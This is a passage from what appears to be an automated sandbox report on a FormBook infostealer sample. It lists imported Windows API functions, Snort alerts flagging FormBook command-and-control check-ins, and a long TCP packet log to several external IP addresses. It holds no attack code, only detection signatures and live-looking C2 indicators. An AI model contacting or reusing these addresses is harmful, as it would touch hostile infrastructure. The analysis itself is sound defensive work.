SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/03/24-17:38:41.597037	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49807	80	192.168.11.20	44.227.65.245
07/03/24-17:35:53.379726	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49785	80	192.168.11.20	199.59.243.226
07/03/24-17:38:49.790857	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49810	80	192.168.11.20	44.227.65.245
07/03/24-17:39:03.353831	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49814	80	192.168.11.20	3.33.130.190
07/03/24-17:41:04.604431	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49820	80	192.168.11.20	3.33.130.190
07/03/24-17:41:04.604431	TCP	2856318	ETPRO TROJAN FormBook CnC Checkin (POST) M4	49820	80	192.168.11.20	3.33.130.190
07/03/24-17:38:55.322060	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49811	80	192.168.11.20	3.33.130.190
07/03/24-17:35:19.814648	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49775	80	192.168.11.20	142.202.6.230
07/03/24-17:38:30.629728	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49804	80	192.168.11.20	172.67.146.224
07/03/24-17:37:44.983410	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49791	80	192.168.11.20	66.235.200.145
07/03/24-17:41:56.990093	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49834	80	192.168.11.20	199.59.243.226
07/03/24-17:37:52.995920	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49794	80	192.168.11.20	66.235.200.145
07/03/24-17:38:01.880492	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49796	80	192.168.11.20	103.120.176.124
07/03/24-17:39:20.021413	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49816	80	192.168.11.20	84.32.84.192
07/03/24-17:34:51.075295	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49773	80	192.168.11.20	74.208.236.38
07/03/24-17:41:49.018292	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49832	80	192.168.11.20	74.208.236.230
07/03/24-17:35:48.040883	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49783	80	192.168.11.20	199.59.243.226
07/03/24-17:41:59.662463	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49835	80	192.168.11.20	199.59.243.226
07/03/24-17:38:58.004159	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49812	80	192.168.11.20	3.33.130.190
07/03/24-17:37:31.398547	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49787	80	192.168.11.20	3.33.130.190
07/03/24-17:37:58.967654	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49795	80	192.168.11.20	103.120.176.124
07/03/24-17:41:46.335352	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49831	80	192.168.11.20	74.208.236.230
07/03/24-17:38:22.262574	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49802	80	192.168.11.20	203.161.50.127
07/03/24-17:41:12.622332	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49823	80	192.168.11.20	3.33.130.190
07/03/24-17:38:35.975142	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49806	80	192.168.11.20	172.67.146.224
07/03/24-17:41:26.425379	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49825	80	192.168.11.20	142.202.6.230
07/03/24-17:35:25.248405	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49777	80	192.168.11.20	142.202.6.230
07/03/24-17:35:45.371922	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49782	80	192.168.11.20	199.59.243.226
07/03/24-17:39:17.207076	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49815	80	192.168.11.20	84.32.84.192
07/03/24-17:39:25.651052	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49818	80	192.168.11.20	84.32.84.192
07/03/24-17:38:14.032249	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49799	80	192.168.11.20	203.161.50.127
07/03/24-17:42:02.330769	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49836	80	192.168.11.20	199.59.243.226
07/03/24-17:38:07.702914	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49798	80	192.168.11.20	103.120.176.124
07/03/24-17:41:21.068289	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49824	80	192.168.11.20	74.208.236.38
07/03/24-17:41:43.646684	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49830	80	192.168.11.20	74.208.236.230
07/03/24-17:38:16.781913	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49800	80	192.168.11.20	203.161.50.127
07/03/24-17:38:44.325926	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49808	80	192.168.11.20	44.227.65.245
07/03/24-17:41:29.155995	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49826	80	192.168.11.20	142.202.6.230
07/03/24-17:41:40.953569	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49829	80	192.168.11.20	74.208.236.230
07/03/24-17:37:34.078991	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49788	80	192.168.11.20	3.33.130.190
07/03/24-17:35:31.783314	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49778	80	192.168.11.20	74.208.236.230
07/03/24-17:41:34.589608	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49828	80	192.168.11.20	142.202.6.230
07/03/24-17:35:39.849238	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49781	80	192.168.11.20	74.208.236.230
07/03/24-17:41:07.282335	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49821	80	192.168.11.20	3.33.130.190
07/03/24-17:35:50.712765	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49784	80	192.168.11.20	199.59.243.226
07/03/24-17:35:17.093039	TCP	2856318	ETPRO TROJAN FormBook CnC Checkin (POST) M4	49774	80	192.168.11.20	142.202.6.230
07/03/24-17:35:34.479335	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49779	80	192.168.11.20	74.208.236.230
07/03/24-17:38:27.957124	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49803	80	192.168.11.20	172.67.146.224
07/03/24-17:35:17.093039	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49774	80	192.168.11.20	142.202.6.230
07/03/24-17:37:47.657326	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49792	80	192.168.11.20	66.235.200.145
07/03/24-17:41:54.322753	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49833	80	192.168.11.20	199.59.243.226
07/03/24-17:37:39.419517	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49790	80	192.168.11.20	3.33.130.190

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 17:34:50.928854942 CEST	49773	80	192.168.11.20	74.208.236.38
Jul 3, 2024 17:34:51.060997009 CEST	80	49773	74.208.236.38	192.168.11.20
Jul 3, 2024 17:34:51.061212063 CEST	49773	80	192.168.11.20	74.208.236.38
Jul 3, 2024 17:34:51.075294971 CEST	49773	80	192.168.11.20	74.208.236.38
Jul 3, 2024 17:34:51.206506014 CEST	80	49773	74.208.236.38	192.168.11.20
Jul 3, 2024 17:34:51.209486008 CEST	80	49773	74.208.236.38	192.168.11.20
Jul 3, 2024 17:34:51.210201979 CEST	80	49773	74.208.236.38	192.168.11.20
Jul 3, 2024 17:34:51.210398912 CEST	49773	80	192.168.11.20	74.208.236.38
Jul 3, 2024 17:34:51.217256069 CEST	49773	80	192.168.11.20	74.208.236.38
Jul 3, 2024 17:34:51.348463058 CEST	80	49773	74.208.236.38	192.168.11.20
Jul 3, 2024 17:35:16.908240080 CEST	49774	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:17.077215910 CEST	80	49774	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:17.077454090 CEST	49774	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:17.093039036 CEST	49774	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:17.261955023 CEST	80	49774	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:18.260947943 CEST	80	49774	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:18.260988951 CEST	80	49774	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:18.261152029 CEST	49774	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:18.600378036 CEST	49774	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:19.629633904 CEST	49775	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:19.798841000 CEST	80	49775	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:19.799130917 CEST	49775	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:19.814647913 CEST	49775	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:19.983846903 CEST	80	49775	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:20.974178076 CEST	80	49775	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:20.974262953 CEST	80	49775	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:20.974549055 CEST	49775	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:21.318515062 CEST	49775	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.348077059 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.517293930 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.517529964 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.534113884 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.534220934 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.703469992 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.703538895 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.703586102 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.703628063 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.703665972 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.703712940 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.703913927 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.703921080 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.704051018 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.704210043 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.704375982 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.872818947 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.872881889 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.872947931 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.872997046 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.872997999 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.873162031 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.873330116 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.873394012 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.873502970 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.873584986 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.873631001 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.873662949 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:22.873852015 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:22.874059916 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:23.042215109 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:23.042732000 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:23.042815924 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:23.042857885 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:23.043215990 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:23.043272972 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:23.043576002 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:23.043633938 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:24.036623955 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:24.045949936 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:24.045962095 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:24.046207905 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:24.046207905 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:24.205694914 CEST	80	49776	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:24.205925941 CEST	49776	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:25.065705061 CEST	49777	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:25.234958887 CEST	80	49777	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:25.235218048 CEST	49777	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:25.248404980 CEST	49777	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:25.417593002 CEST	80	49777	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:26.419451952 CEST	80	49777	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:26.419527054 CEST	80	49777	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:26.419915915 CEST	49777	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:26.426525116 CEST	49777	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:35:26.595648050 CEST	80	49777	142.202.6.230	192.168.11.20
Jul 3, 2024 17:35:31.633918047 CEST	49778	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:31.765469074 CEST	80	49778	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:31.765652895 CEST	49778	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:31.783313990 CEST	49778	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:31.914894104 CEST	80	49778	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:31.921339989 CEST	80	49778	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:31.921499014 CEST	80	49778	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:31.921668053 CEST	49778	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:33.300287008 CEST	49778	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:34.329363108 CEST	49779	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:34.462241888 CEST	80	49779	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:34.462459087 CEST	49779	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:34.479335070 CEST	49779	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:34.612229109 CEST	80	49779	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:34.617757082 CEST	80	49779	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:34.617839098 CEST	80	49779	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:34.618031025 CEST	49779	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:35.987293959 CEST	49779	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.016534090 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.148089886 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.148288965 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.165724993 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.165774107 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.297372103 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.297429085 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.297465086 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.297493935 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.297522068 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.297553062 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.297622919 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.297801971 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.297959089 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.429321051 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429403067 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429457903 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429503918 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429549932 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429598093 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429631948 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.429646015 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429706097 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429760933 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429816961 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429821968 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.429868937 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429915905 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.429929018 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:37.429966927 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.430011988 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.430057049 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.561655045 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.561714888 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.561810017 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.561851978 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.561891079 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.561937094 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.561980963 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.562021971 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.562061071 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.562099934 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.562186003 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.565179110 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.565257072 CEST	80	49780	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:37.565556049 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:38.674160957 CEST	49780	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:39.703495026 CEST	49781	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:39.835195065 CEST	80	49781	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:39.835442066 CEST	49781	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:39.849237919 CEST	49781	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:39.980788946 CEST	80	49781	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:39.987484932 CEST	80	49781	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:39.988301992 CEST	80	49781	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:39.988552094 CEST	49781	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:39.995572090 CEST	49781	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:35:40.127212048 CEST	80	49781	74.208.236.230	192.168.11.20
Jul 3, 2024 17:35:45.237443924 CEST	49782	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:45.355931044 CEST	80	49782	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:45.356110096 CEST	49782	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:45.371922016 CEST	49782	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:45.490511894 CEST	80	49782	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:45.512809992 CEST	80	49782	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:45.512824059 CEST	80	49782	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:45.512842894 CEST	80	49782	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:45.513025999 CEST	49782	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:45.520230055 CEST	80	49782	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:45.520342112 CEST	49782	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:46.877832890 CEST	49782	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:47.906362057 CEST	49783	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:48.024961948 CEST	80	49783	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:48.025104046 CEST	49783	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:48.040883064 CEST	49783	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:48.159491062 CEST	80	49783	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:48.180605888 CEST	80	49783	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:48.180619955 CEST	80	49783	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:48.180629969 CEST	80	49783	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:48.180898905 CEST	49783	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:48.188020945 CEST	80	49783	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:48.188232899 CEST	49783	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:49.546717882 CEST	49783	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.576200008 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.695661068 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.695823908 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.712764978 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.712826014 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.712877035 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.831757069 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.831831932 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.831880093 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.831909895 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.831945896 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.831979990 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.832015038 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.832034111 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.832051039 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.832086086 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.832091093 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.832122087 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.832134008 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.832324982 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.950745106 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.950772047 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.950910091 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.950958014 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.951003075 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.951025009 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951047897 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951066017 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951141119 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951302052 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951318979 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951332092 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951442957 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951555014 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951572895 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951585054 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951597929 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951631069 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951643944 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951662064 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:50.951761961 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.951911926 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:50.952002048 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.069515944 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.069608927 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.069736004 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.069760084 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.070180893 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.070302963 CEST	80	49784	199.59.243.226	192.168.11.20
